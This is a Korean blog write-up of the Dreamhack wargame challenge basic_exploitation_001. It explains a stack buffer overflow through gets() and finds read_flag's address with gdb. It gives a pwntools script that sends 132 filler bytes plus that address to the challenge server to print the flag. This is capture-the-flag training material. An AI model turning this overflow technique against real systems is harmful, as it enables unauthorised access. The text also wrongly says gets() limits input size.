System Hacking/DreamHack

[Dreamhack] basic_exploitation_001

hanbunny 2025. 3. 13. 20:27

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.


소스코드 분석

 

main()함수를 보면 gets(buf)함수가 존재한다.

gets()함수는 입력 크기 제한이 있어서 버퍼 오버플로우에 아주 취약한 함수임.

buf 크기는 0x80으로 128바이트임.

128바이트보다 더 긴 입력을 해서 리턴 주소를 덮어쓰면 될듯하다.

 

BOF 발생 가능 포인트

read_flag()는 메인함수에서 실행을 안하고 있는데, 이걸 실행시키면 cat flag가 실행돼서 flag를 얻을 수 있어보임.

BOF로 리턴주소값을 read_flag() 주소를 찾아 바꿔주면 된다.

 


Disassemble

# gdb로 basic_exploitation_001 실행
$ gdb -q ./basic_exploitation_001

#main함수 디스어셈블
pwndbg> disass main

 

버퍼 할당

add     esp, 0xffffff80(-128)   :   esp를 0xffffff80(-128) 만큼 감소시킴.

그리고  buf는 [ebp-0x80]에 할당된다.

 

gets(buf)

lea      eax,[ebp-0x80]  :  buf의 주소를 eax에 저장

push  eax  :  buf의 주소를 스택에 push

call     0x80483d0  :  gets(buf) 호출

 


Exploit

read_flag()주소 위치 찾기.

#gdb에서 read_flag()주소 찾기
pwndbg> info functions

 

read_flag 주소가 0x080485b9 로 뜬다.이제 리턴 주소만 이 값으로 채워주면된다.

 

 

Payload

from pwn import *

# 로컬 실행 및 원격 서버 연결
p = process('./basic_exploitation_001')
p = remote('host3.dreamhack.games', 14379)

# 버퍼 스택 주소 수신 후 저장
read_flag = p32(0x080485b9)

# 페이로드 구성
payload = b'A'*132
payload += read_flag

# 페이로드 전송 및 셸 획득
p.sendline(payload)
p.interactive()

 

버퍼 오버플로우에 성공하면 read_flag 함수가 실행되면서 바로 flag값이 뜬다.